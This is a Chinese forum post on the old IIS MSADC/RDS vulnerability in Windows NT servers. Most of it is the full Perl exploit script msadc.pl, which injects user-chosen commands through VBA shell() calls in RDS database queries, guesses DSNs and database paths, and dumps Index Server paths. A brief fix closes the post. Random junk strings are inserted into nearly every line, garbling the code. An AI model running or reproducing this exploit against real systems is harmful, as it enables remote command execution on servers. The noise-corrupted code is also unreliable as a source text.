社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166126阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) &u=FLp5  
BM&'3K_y  
涉及程序: Q ;k_q3  
Microsoft NT server +#B%YK|LR  
A5H[g`&  
描述: 3J,/bgL5  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 *c3 o&-ke9  
9oq(5BG,  
详细: :cynZab  
如果你没有时间读详细内容的话,就删除: '!1lK  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ["L?t ^*G  
有关的安全问题就没有了。 R*yB);p  
cuKgO{.GH  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 $^ >n@Q@&L  
V|a 59 [y?  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 9h0|^ttF  
关于利用ODBC远程漏洞的描述,请参看: .!6ufaf$  
T3?kabbF  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;F0A\5I  
-5>g 0o2  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 T@vVff  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp uo%O\} #u9  
\pPq ]k  
这里不再论述。 t]&n_]`{.  
^9{ 2  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: "t\9@nzdX  
IS=)J( 0  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset QM_~w \  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! q?0goL  
aPb!-o{  
iTK1I0  
#将下面这段保存为txt文件,然后: "perl -x 文件名" "R30oA#m  
O-'T*M>  
#!perl u8,T>VNVw  
# 5j}@Of1pd  
# MSADC/RDS 'usage' (aka exploit) script jcG4h/A  
# 5 + Jy  
# by rain.forest.puppy Sv>aZ  
# ;zJ_apZ:{  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %vThbP#mR|  
# beta test and find errors! ix/uV)]k`  
*l9Y]hinq  
use Socket; use Getopt::Std; PCIC*!{  
getopts("e:vd:h:XR", \%args); d[Fsp7U}  
2 rBF<z7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Wex4>J<`/  
Anm5Cvt;i  
if (!defined $args{h} && !defined $args{R}) { < 1r.p<s  
print qq~ D0]9 -h  
Usage: msadc.pl -h <host> { -d <delay> -X -v } SMy&K[hJ[  
-h <host> = host you want to scan (ip or domain) V\xQM;  
-d <seconds> = delay between calls, default 1 second w'e enIX^^  
-X = dump Index Server path table, if available #,9|Hr%  
-v = verbose s`TBz8QO$  
-e = external dictionary file for step 5 o. _^  
wvYxL c#p0  
Or a -R will resume a command session TDseWdA  
VuR BJ2D  
~; exit;} z&:[.B   
h}d7M55#|  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; JjCf<ktE.  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} y7Ub~q U  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Q6>vF)( -  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); j)0R*_-B[  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} d^Wh-U  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } JU6np4  
Z`!pU"O9l  
if (!defined $args{R}){ $ret = &has_msadc; lu}[XN  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} LH8?0 N[  
i0!F  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" sg y  
. "cmd /c "; kO#`m ]  
$in=<STDIN>; chomp $in; G@'0vYb#  
$command="cmd /c " . $in ; K_xOY *  
h ^c'L=dR  
if (defined $args{R}) {&load; exit;} (l,o UBRr  
sDC RL%0QK  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 5C&f-* Bh  
&try_btcustmr; |q>Mw-=  
r6)1Y`K=9  
print "\nStep 2: Trying to make our own DSN..."; 5 6R,+sN  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; EpfmH `  
GwycSb1  
print "\nStep 3: Trying known DSNs..."; M}<=~/k`j  
&known_dsn; !RD,:\5V  
D^~g q`/)  
print "\nStep 4: Trying known .mdbs..."; IO'Q}bU4vs  
&known_mdb; ^`7t@G$ D  
:}z% N7T  
if (defined $args{e}){ yKI.TR#  
print "\nStep 5: Trying dictionary of DSN names..."; P:TpB6.=q  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } cmeyCyV*  
? `KOW  
print "Sorry Charley...maybe next time?\n"; ..:V3]-D  
exit; g}-Z]2(c#  
i=D,T[|>a  
############################################################################## ^&.?kJM  
-T8 gV1*(<  
sub sendraw { # ripped and modded from whisker 1sJN^BvuG  
sleep($delay); # it's a DoS on the server! At least on mine... lN'/Z&62  
my ($pstr)=@_; F~AS(sk  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7y\g~?5N  
die("Socket problems\n"); e2fct|'  
if(connect(S,pack "SnA4x8",2,80,$target)){ z,)sS<t(  
select(S); $|=1; _XZ=4s  
print $pstr; my @in=<S>; \_E.%K  
select(STDOUT); close(S); |DD?3#G01  
return @in; pYG,5+g  
} else { die("Can't connect...\n"); }} w!RH*S  
\7/_+)0}'  
############################################################################## B>ZPn6?y  
bEKLameKv  
sub make_header { # make the HTTP request `[CJtd2\  
my $msadc=<<EOT m #QI*R XP  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 )mdNvb[*n  
User-Agent: ACTIVEDATA r<v%Zp  
Host: $ip ea0tx3'  
Content-Length: $clen hhGpB$A  
Connection: Keep-Alive NO^t/(Z  
PNgMLQI6  
ADCClientVersion:01.06 %ZyPK,("  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 fJ2{w[ne  
m!60.  
--!ADM!ROX!YOUR!WORLD! F*}Q^%  
Content-Type: application/x-varg |sa7Y_  
Content-Length: $reqlen @3c#\jx  
kVnyX@  
EOT b]BA,D 4  
; $msadc=~s/\n/\r\n/g; 7V (7JV<>  
return $msadc;} =bWq 3aP)P  
_kN%6~+U  
############################################################################## [Z\1"m  
?w/nZQWi  
sub make_req { # make the RDS request .~L4#V{c~  
my ($switch, $p1, $p2)=@_; {Ch"zuPX  
my $req=""; my $t1, $t2, $query, $dsn; F |81i$R  
"v!HKnDT  
if ($switch==1){ # this is the btcustmr.mdb query v6?\65w,|  
$query="Select * from Customers where City=" . make_shell(); m 1i+{((  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . TSSt@xQ+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} R"gm]SQ/  
[E (M(w':  
elsif ($switch==2){ # this is general make table query X-#mv|3  
$query="create table AZZ (B int, C varchar(10))"; JK"uj%  
$dsn="$p1";} HF+fk*_Q  
' u};z:t  
elsif ($switch==3){ # this is general exploit table query Az9J{)  
$query="select * from AZZ where C=" . make_shell(); &6=ZT:.6Te  
$dsn="$p1";} #0^3Wm`X;  
,7jiHF  
elsif ($switch==4){ # attempt to hork file info from index server }#>d2 =T$  
$query="select path from scope()"; n "KJB  
$dsn="Provider=MSIDXS;";} -#;VFSz,9*  
FR^wDm$  
elsif ($switch==5){ # bad query h_G|.7!  
$query="select"; 9~'Ip7X,!  
$dsn="$p1";} MVP)rugU  
X]MM7hMuR  
$t1= make_unicode($query); [e@OHQM  
$t2= make_unicode($dsn); P8,jA<W  
$req = "\x02\x00\x03\x00"; , )pt_"-XA  
$req.= "\x08\x00" . pack ("S1", length($t1)); /{ MH'  
$req.= "\x00\x00" . $t1 ; TL{pc=eBo  
$req.= "\x08\x00" . pack ("S1", length($t2)); OXX(OCG>  
$req.= "\x00\x00" . $t2 ; gc7:Rb^E5t  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ^%$W S,  
return $req;} [I<'E LX  
{R!TUQ5  
############################################################################## k,iV$,[TF  
 Ox*T:5  
sub make_shell { # this makes the shell() statement 40d9/$uzh  
return "'|shell(\"$command\")|'";} I u~aTgHX%  
Doc'7P  
############################################################################## 'A(-MTd%  
:G=1$gb  
sub make_unicode { # quick little function to convert to unicode rn[}{1I33Q  
my ($in)=@_; my $out; 1\J1yOL  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } }:l%,DBw  
return $out;} 5YG@[ic  
K<  
############################################################################## _B7?C:8Q-  
YSz$` 7i  
sub rdo_success { # checks for RDO return success (this is kludge) ?CW^*So  
my (@in) = @_; my $base=content_start(@in); P}WhE  
if($in[$base]=~/multipart\/mixed/){ X`v79`g_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} FlA\Ad;v  
return 0;} MN M>  
b, **$  
############################################################################## CE7pg&dJ)i  
l^y?L4hg)  
sub make_dsn { # this makes a DSN for us V?V)&y] 4  
my @drives=("c","d","e","f"); 3g#=sd!0O@  
print "\nMaking DSN: "; M|E2&ht  
foreach $drive (@drives) { q,,>:]f#  
print "$drive: "; A"<)(M+kG  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . qTa]th;  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" lp0T\ %  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ]7R&m)16  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; nK%/tdq  
return 0 if $2 eq "404"; # not found/doesn't exist GE8D3V;*V  
if($2 eq "200") { {L-aXe{  
foreach $line (@results) { b}?@syy8  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Gp3nR<+  
} return 0;} `ToRkk&&>{  
o`T<}z26  
############################################################################## yw Q!9 \  
Q~Sv2  
sub verify_exists { 3|'#n[3  
my ($page)=@_; JXRf4QmG  
my @results=sendraw("GET $page HTTP/1.0\n\n"); (zw=qbS&  
return $results[0];} N7HbOLpM  
6[3Ioh  
############################################################################## Zj+}T  
 Vq)gpR  
sub try_btcustmr { X6N]gD  
my @drives=("c","d","e","f"); V.QzMF"o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L3=YlX`UL  
fF9oYOh|  
foreach $dir (@dirs) { ^I0GZG  
print "$dir -> "; # fun status so you can see progress bHQKRV  
foreach $drive (@drives) { )<x;ra^  
print "$drive: "; # ditto X?v ^>mA  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 5)>ZO)F&  
$reqlenlen=length( "$reqlen" ); qnk,E-  
$clen= 206 + $reqlenlen + $reqlen; 7ru9dg1?  
ZaUcP6[h  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); D_19sN@0m  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} N}x/&e  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} kG;eOp16R  
^2;(2s  
############################################################################## pW3)Y5/D  
@a.6?.<L  
sub odbc_error { 3e!Yu.q:  
my (@in)=@_; my $base; &DbGyV8d"|  
my $base = content_start(@in); 0q>NE <L  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $kD`$L@U  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4z0R\tjT  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; w1"gl0ga$  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; M8",t{7  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8NAWA3^B  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; XC/]u%n8](  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . X\3 ,NR,  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} X.T\=dm%v  
=6Kv`  
############################################################################## =S[FJaIu7  
6Er0o{iI  
sub verbose { e2-70UvW^  
my ($in)=@_; (9YYv+GGd*  
return if !$verbose; |<$<L`xoe  
print STDOUT "\n$in\n";} O2'bNR  
B )1<`nJA  
############################################################################## msqxPC^I  
_L:i=.hxN  
sub save { ]2xx+P#Y  
my ($p1, $p2, $p3, $p4)=@_; 5;K-,"UQ  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 74}eF)(me  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 8%2rgA  
close OUT;} WDoKbTv  
-M>K4*%K  
############################################################################## 5}d/8tS  
J^g,jBk  
sub load { .^W\OJ`G  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ah"'hFY  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 4*D fI  
@p=<IN>; close(IN); 9#EHXgz  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); N&x WHFn]C  
$target= inet_aton($ip) || die("inet_aton problems"); DQ n`@  
print "Resuming to $ip ..."; 7{K i;1B[w  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; P"V{y|2  
if($p[1]==1) { ,. 6J6{  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }W__ffH  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; J2oWssw"  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); dY4k9p8  
if (rdo_success(@results)){print "Success!\n";} iBtjd`V*  
else { print "failed\n"; verbose(odbc_error(@results));}}  [`hE^chd  
elsif ($p[1]==3){ {#w A !>.  
if(run_query("$p[3]")){ 6m-:F.k1(  
print "Success!\n";} else { print "failed\n"; }} rt3f7 s*  
elsif ($p[1]==4){ f- k|w%R@  
if(run_query($drvst . "$p[3]")){ |Uy e>%*}4  
print "Success!\n"; } else { print "failed\n"; }} i!1ho T$  
exit;} y ;{^Ln4{  
EZ%w=  
############################################################################## *793H\  
~<2 IIR$H  
sub create_table { hr_9;,EPh  
my ($in)=@_; ^8';8+$  
$reqlen=length( make_req(2,$in,"") ) - 28; $IxU6=ajn  
$reqlenlen=length( "$reqlen" ); !y qa?\v9  
$clen= 206 + $reqlenlen + $reqlen; mX<Fuu}E*Z  
my @results=sendraw(make_header() . make_req(2,$in,"")); AK@`'$  
return 1 if rdo_success(@results); \ifK~?  
my $temp= odbc_error(@results); verbose($temp); n2xLgK=  
return 1 if $temp=~/Table 'AZZ' already exists/; Ss#@=:"P  
return 0;} 68koQgI[^  
( K6~Tj  
############################################################################## F}6DB*  
wDT>">&d  
sub known_dsn { N"Qg\PS_  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 3wN?|N  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Yo~LckFF  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "wnpiB}  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ;t;Y.*&=S  
? fbgU  
foreach $dSn (@dsns) { @pF fpHq?>  
print "."; ZR;8r Z](  
next if (!is_access("DSN=$dSn")); M#\  <  
if(create_table("DSN=$dSn")){ E[|s>Xv~  
print "$dSn successful\n"; BR& Aq  
if(run_query("DSN=$dSn")){ hzT{3YtY2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { nabBU4;h  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 99l>CYXd  
v"P&` 1=T  
############################################################################## Pl rkgS0J  
_pz,okO[V  
sub is_access { K0EY<Ltq  
my ($in)=@_; ]6$,IKE7  
$reqlen=length( make_req(5,$in,"") ) - 28; h`wMi}q'D  
$reqlenlen=length( "$reqlen" ); 54q4CagFq  
$clen= 206 + $reqlenlen + $reqlen; 8sN#e(@  
my @results=sendraw(make_header() . make_req(5,$in,"")); V=j-Um;  
my $temp= odbc_error(@results); GBH_r 0  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); w/b>awI  
return 0;} =jg#fdM -  
mR{CVU  
############################################################################## Y7<zm}=(/  
eu# ,WwlG  
sub run_query { Zg -]sp]  
my ($in)=@_; &8[ZN$Xe"  
$reqlen=length( make_req(3,$in,"") ) - 28; CS/Mpmsp  
$reqlenlen=length( "$reqlen" ); !c3```*  
$clen= 206 + $reqlenlen + $reqlen; :a_BD  
my @results=sendraw(make_header() . make_req(3,$in,"")); ?z2jk  
return 1 if rdo_success(@results); ?QCmSK=L  
my $temp= odbc_error(@results); verbose($temp); B.89_!/:p  
return 0;} V]I:2k5  
C`\9c ej  
############################################################################## ,HFs.9#&B  
$> "J"IX  
sub known_mdb { k: b/Gq`  
my @drives=("c","d","e","f","g"); S~KS9E~\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); v,/[&ASz  
my $dir, $drive, $mdb; yXJ]U \ %  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; J|V K P7  
9T(L"9r-e  
# this is sparse, because I don't know of many ;B&^yj&;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e^j<jV`1  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", c_ La^HS  
"\\system32\\certmdb.mdb", bGbqfO`  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 2t+D8 d|c<  
Fi mN?s  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", nz4<pvC,*  
"\\cfusion\\cfapps\\forums\\forums_.mdb", *IC^IC:  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", A_!QrM  
"\\cfusion\\cfapps\\security\\realm_.mdb", ')B =|T)  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", >T<6fpXuk2  
"\\cfusion\\database\\cfexamples.mdb", >^a$  
"\\cfusion\\database\\cfsnippets.mdb", YEzU{J  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 6cJ<9i &  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", H2_/,n  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 0,HqE='w  
"\\cfusion\\database\\smpolicy.mdb", JnfqXbE  
"\\cfusion\\database\cypress.mdb", 4-mVB wq  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3Jk[/ .h  
"\\website\\cgi-win\\dbsample.mdb", 6+.>5e  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", a:85L!~:l  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" *HR +a#o  
); #these are just 9B /s  
foreach $drive (@drives) { {P-xCmZ~Wt  
foreach $dir (@dirs){ GL1'Zo  
foreach $mdb (@sysmdbs) { v=!YfAn  
print "."; M\Se_  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ |,b2b2v ?  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; >R!"P[*  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ l^\(ss0~  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; U4BqO :sd  
} else { print "Something's borked. Use verbose next time\n"; }}}}} bmu6@jT  
"e 1wr  
foreach $drive (@drives) { *h$&0w y  
foreach $mdb (@mdbs) { -."kq.m*  
print "."; k<H%vg>{~s  
if(create_table($drv . $drive . $dir . $mdb)){ ( #* "c  
print "\n" . $drive . $dir . $mdb . " successful\n"; cFK @3a  
if(run_query($drv . $drive . $dir . $mdb)){ zh\$t]d<I  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 4o<*PPA1  
} else { print "Something's borked. Use verbose next time\n"; }}}} %}P4kEY  
} (89Ji'dc  
',7a E@PJ  
############################################################################## F@Q^?WV  
WmeKl  
sub hork_idx { *m9{V8Yi2  
print "\nAttempting to dump Index Server tables...\n"; LN4qYp6)G  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 4S|=/f  
$reqlen=length( make_req(4,"","") ) - 28; k;k}qq`d  
$reqlenlen=length( "$reqlen" ); iK#/w1`  
$clen= 206 + $reqlenlen + $reqlen; `\bT'~P  
my @results=sendraw2(make_header() . make_req(4,"","")); ldGojnS  
if (rdo_success(@results)){ W^es;5  
my $max=@results; my $c; my %d; VPt9QL(  
for($c=19; $c<$max; $c++){ 4:7mK/Z  
$results[$c]=~s/\x00//g; {^#2=`:)O  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; *^] ~RhjB  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Tzzq#z&F  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Ytao"R/  
$d{"$1$2"}="";} "xe=N  
foreach $c (keys %d){ print "$c\n"; } Mo D?2J  
} else {print "Index server doesn't seem to be installed.\n"; }} v!9i"@<!  
@Y}uZ'jt'  
############################################################################## 7{e=="#*  
qj!eLA-aD  
sub dsn_dict { WNs}sNSf  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 7\ypW$Ot  
while(<IN>){ PY`L$e  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 1svi8wh  
next if (!is_access("DSN=$dSn")); 9xFO]Y"  
if(create_table("DSN=$dSn")){ Pao%pA.<  
print "$dSn successful\n"; KVkMU?6  
if(run_query("DSN=$dSn")){ wG 1l+^p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ts9ktPlm  
print "Something's borked. Use verbose next time\n";}}} z x@$RS+]  
print "\n"; close(IN);} "7,FXTaer  
~>Kq<]3~  
############################################################################## pu+ur=5&  
JN4fPGbV  
sub sendraw2 { # ripped and modded from whisker {^}0 G^  
sleep($delay); # it's a DoS on the server! At least on mine... ]E3<UR  
my ($pstr)=@_; .$!{-v[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eS'yGY0b  
die("Socket problems\n"); $bvJTuw  
if(connect(S,pack "SnA4x8",2,80,$target)){ ,lt8O.h-l  
print "Connected. Getting data"; t 9^A(Vh"-  
open(OUT,">raw.out"); my @in; uLQ  
select(S); $|=1; print $pstr; cK@jmGj+  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} xyA-P& N  
close(OUT); select(STDOUT); close(S); return @in; bc I']WgB-  
} else { die("Can't connect...\n"); }} Hp Vjee  
t\4[``t  
############################################################################## D)Q)NI  
>\2:\wI  
sub content_start { # this will take in the server headers kL>d"w  
my (@in)=@_; my $c; @F~LW6K  
for ($c=1;$c<500;$c++) { ^e Gue  
if($in[$c] =~/^\x0d\x0a/){ jZpa0grA  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 9zBMlc$X  
else { return $c+1; }}} X[](Kj^`<  
return -1;} # it should never get here actually nXA\|c0  
QAPu<rdJP  
############################################################################## g&Vcg`  
80pid[F  
sub funky { F'JY?  
my (@in)=@_; my $error=odbc_error(@in); eq[Et +  
if($error=~/ADO could not find the specified provider/){ &QNY,Pj  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; aG+j9Q_  
exit;} 5D Y\:AF  
if($error=~/A Handler is required/){ W_`A"WdT.  
print "\nServer has custom handler filters (they most likely are patched)\n"; l@JSK ;  
exit;} S'LZk9E  
if($error=~/specified Handler has denied Access/){ Dg HaOAdU  
print "\nServer has custom handler filters (they most likely are patched)\n"; Rp9fO?ZjHt  
exit;}} MZ> 6o5K|  
L<V3KS2y  
############################################################################## $((6=39s  
ziE*'p  
sub has_msadc { CO:u1?  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); &HW1mNF9  
my $base=content_start(@results); ccFn.($p?,  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); en F:>H4  
return 0;} ->^~KVh&  
laKuOx}  
######################## kq=V4-a[  
?, r~=  
;`YkMS`=W  
解决方案: ;%C'FV e]  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ~PWSo%W8  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 [#Lc]$  
"@A![iP  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五